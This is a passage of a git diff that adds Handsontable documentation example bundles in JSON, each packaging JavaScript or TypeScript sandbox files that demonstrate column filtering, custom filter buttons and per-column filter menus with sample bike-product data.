'2023-10-02',\n sellTime: '13:23',\n inStock: 3,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 5,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 22,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 13,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 14,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 16,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 18,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 3,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Vinte',\n model: 'ML Road Frame-W',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 2,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n className: 'htRight',\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'numeric',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n height: 200,\n colWidths: [120, 150, 120, 140, 120, 120],\n fixedRowsTop: 1,\n fixedRowsBottom: 1,\n colHeaders: true,\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n afterFilter(this: Handsontable) {\n const filtersPlugin = this.getPlugin('filters');\n const filtersRowsMap = (filtersPlugin as any).filtersRowsMap;\n\n filtersRowsMap.setValueAtIndex(0, false);\n filtersRowsMap.setValueAtIndex(filtersRowsMap.getLength() - 1, false);\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example9.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example9","exampleTitle":"Exclude rows from filtering (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleCustomFilterButton.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleCustomFilterButton.js.json new file mode 100644 index 00000000..0c70090f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleCustomFilterButton.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column filter · Customize the filter button · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleCustomFilterButton');\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n // to differentiate this example's CSS from other examples on this page\n className: 'customFilterButtonExample1',\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".handsontable.customFilterButtonExample1 .changeType {\n --ht-icon-button-background-color: #e2e2e263;\n --ht-icon-button-border-radius: 100%;\n}\n\n.handsontable.customFilterButtonExample1 .changeType::before {\n -webkit-mask-image: url(\"data:image/svg+xml,%3Csvg width=%2716%27 height=%2716%27 viewBox=%270 0 16 16%27 fill=%27none%27 xmlns=%27http://www.w3.org/2000/svg%27%3E%3Cpath d=%27M6.83337 7.99984C6.83337 8.30926 6.95629 8.606 7.17508 8.8248C7.39388 9.04359 7.69062 9.1665 8.00004 9.1665C8.30946 9.1665 8.60621 9.04359 8.825 8.8248C9.04379 8.606 9.16671 8.30926 9.16671 7.99984C9.16671 7.69042 9.04379 7.39367 8.825 7.17488C8.60621 6.95609 8.30946 6.83317 8.00004 6.83317C7.69062 6.83317 7.39388 6.95609 7.17508 7.17488C6.95629 7.39367 6.83337 7.69042 6.83337 7.99984Z%27 fill=%27%23222222%27/%3E%3Cpath d=%27M6.83337 12.4165C6.83337 12.7259 6.95629 13.0227 7.17508 13.2415C7.39388 13.4603 7.69062 13.5832 8.00004 13.5832C8.30946 13.5832 8.60621 13.4603 8.825 13.2415C9.04379 13.0227 9.16671 12.7259 9.16671 12.4165C9.16671 12.1071 9.04379 11.8103 8.825 11.5915C8.60621 11.3728 8.30946 11.2498 8.00004 11.2498C7.69062 11.2498 7.39388 11.3728 7.17508 11.5915C6.95629 11.8103 6.83337 12.1071 6.83337 12.4165Z%27 fill=%27%23222222%27/%3E%3Cpath d=%27M6.83337 3.58317C6.83337 3.89259 6.95629 4.18934 7.17508 4.40813C7.39388 4.62692 7.69062 4.74984 8.00004 4.74984C8.30946 4.74984 8.60621 4.62692 8.825 4.40813C9.04379 4.18934 9.16671 3.89259 9.16671 3.58317C9.16671 3.27375 9.04379 2.97701 8.825 2.75821C8.60621 2.53942 8.30946 2.4165 8.00004 2.4165C7.69062 2.4165 7.39388 2.53942 7.17508 2.75821C6.95629 2.97701 6.83337 3.27375 6.83337 3.58317Z%27 fill=%27currentColor%27/%3E%3C/svg%3E\");\n}"},"docsPath":"guides/columns/column-filter/javascript/exampleCustomFilterButton.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleCustomFilterButton","exampleTitle":"Customize the filter button","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleCustomFilterButton.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleCustomFilterButton.ts.json new file mode 100644 index 00000000..4887bc63 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleCustomFilterButton.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column filter · Customize the filter button · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleCustomFilterButton')!;\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n // to differentiate this example's CSS from other examples on this page\n className: 'customFilterButtonExample1',\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":".handsontable.customFilterButtonExample1 .changeType {\n --ht-icon-button-background-color: #e2e2e263;\n --ht-icon-button-border-radius: 100%;\n}\n\n.handsontable.customFilterButtonExample1 .changeType::before {\n -webkit-mask-image: url(\"data:image/svg+xml,%3Csvg width=%2716%27 height=%2716%27 viewBox=%270 0 16 16%27 fill=%27none%27 xmlns=%27http://www.w3.org/2000/svg%27%3E%3Cpath d=%27M6.83337 7.99984C6.83337 8.30926 6.95629 8.606 7.17508 8.8248C7.39388 9.04359 7.69062 9.1665 8.00004 9.1665C8.30946 9.1665 8.60621 9.04359 8.825 8.8248C9.04379 8.606 9.16671 8.30926 9.16671 7.99984C9.16671 7.69042 9.04379 7.39367 8.825 7.17488C8.60621 6.95609 8.30946 6.83317 8.00004 6.83317C7.69062 6.83317 7.39388 6.95609 7.17508 7.17488C6.95629 7.39367 6.83337 7.69042 6.83337 7.99984Z%27 fill=%27%23222222%27/%3E%3Cpath d=%27M6.83337 12.4165C6.83337 12.7259 6.95629 13.0227 7.17508 13.2415C7.39388 13.4603 7.69062 13.5832 8.00004 13.5832C8.30946 13.5832 8.60621 13.4603 8.825 13.2415C9.04379 13.0227 9.16671 12.7259 9.16671 12.4165C9.16671 12.1071 9.04379 11.8103 8.825 11.5915C8.60621 11.3728 8.30946 11.2498 8.00004 11.2498C7.69062 11.2498 7.39388 11.3728 7.17508 11.5915C6.95629 11.8103 6.83337 12.1071 6.83337 12.4165Z%27 fill=%27%23222222%27/%3E%3Cpath d=%27M6.83337 3.58317C6.83337 3.89259 6.95629 4.18934 7.17508 4.40813C7.39388 4.62692 7.69062 4.74984 8.00004 4.74984C8.30946 4.74984 8.60621 4.62692 8.825 4.40813C9.04379 4.18934 9.16671 3.89259 9.16671 3.58317C9.16671 3.27375 9.04379 2.97701 8.825 2.75821C8.60621 2.53942 8.30946 2.4165 8.00004 2.4165C7.69062 2.4165 7.39388 2.53942 7.17508 2.75821C6.95629 2.97701 6.83337 3.27375 6.83337 3.58317Z%27 fill=%27currentColor%27/%3E%3C/svg%3E\");\n}"},"docsPath":"guides/columns/column-filter/javascript/exampleCustomFilterButton.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleCustomFilterButton","exampleTitle":"Customize the filter button","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleCustomFilterButton2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleCustomFilterButton2.js.json new file mode 100644 index 00000000..aaa59613 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleCustomFilterButton2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column filter · Customize the filter button (3) · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleCustomFilterButton2');\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n // to differentiate this example's CSS from other examples on this page\n className: 'customFilterButtonExample2',\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":"/* hide the column menu button by default */\n.customFilterButtonExample2 .changeType {\n visibility: hidden;\n}\n\n/* show the column menu button on hover */\n.customFilterButtonExample2 th .relative:hover .changeType {\n visibility: visible;\n}"},"docsPath":"guides/columns/column-filter/javascript/exampleCustomFilterButton2.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleCustomFilterButton2","exampleTitle":"Customize the filter button (3)","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleCustomFilterButton2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleCustomFilterButton2.ts.json new file mode 100644 index 00000000..af8e737e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleCustomFilterButton2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column filter · Customize the filter button (3) · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleCustomFilterButton2')!;\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n // to differentiate this example's CSS from other examples on this page\n className: 'customFilterButtonExample2',\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":"/* hide the column menu button by default */\n.customFilterButtonExample2 .changeType {\n visibility: hidden;\n}\n\n/* show the column menu button on hover */\n.customFilterButtonExample2 th .relative:hover .changeType {\n visibility: visible;\n}"},"docsPath":"guides/columns/column-filter/javascript/exampleCustomFilterButton2.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleCustomFilterButton2","exampleTitle":"Customize the filter button (3)","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleEnableFilterInColumns.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleEnableFilterInColumns.js.json new file mode 100644 index 00000000..c6e7ecc0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleEnableFilterInColumns.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column filter · Enable filtering for individual columns · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleEnableFilterInColumns');\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering for all columns\n filters: true,\n // enable the column menu for all columns\n // but display only the 'Filter by value' list and the 'OK' and 'Cancel' buttons\n dropdownMenu: {\n items: {\n filter_by_value: {\n // hide the 'Filter by value' list from all columns but the first one\n hidden() {\n return this.getSelectedRangeLast().to.col > 0;\n },\n },\n filter_action_bar: {\n // hide the 'OK' and 'Cancel' buttons from all columns but the first one\n hidden() {\n return this.getSelectedRangeLast().to.col > 0;\n },\n },\n clear_column: {\n // hide the 'Clear column' menu item from the first column\n hidden() {\n return this.getSelectedRangeLast().to.col < 1;\n },\n },\n },\n },\n // `afterGetColHeader()` is a Handsontable hook\n // it's fired after Handsontable appends information about a column header to the table header\n afterGetColHeader(col, TH) {\n // remove the column menu button from the 'Brand', 'Price', and 'Date' columns\n if (col > 1) {\n const button = TH.querySelector('.changeType');\n\n if (!button) {\n return;\n }\n\n button.parentElement.removeChild(button);\n }\n },\n height: 'auto',\n example: 'exampleEnableFilterInColumns',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleEnableFilterInColumns.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleEnableFilterInColumns","exampleTitle":"Enable filtering for individual columns","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleEnableFilterInColumns.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleEnableFilterInColumns.ts.json new file mode 100644 index 00000000..6efd57fb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleEnableFilterInColumns.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column filter · Enable filtering for individual columns · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
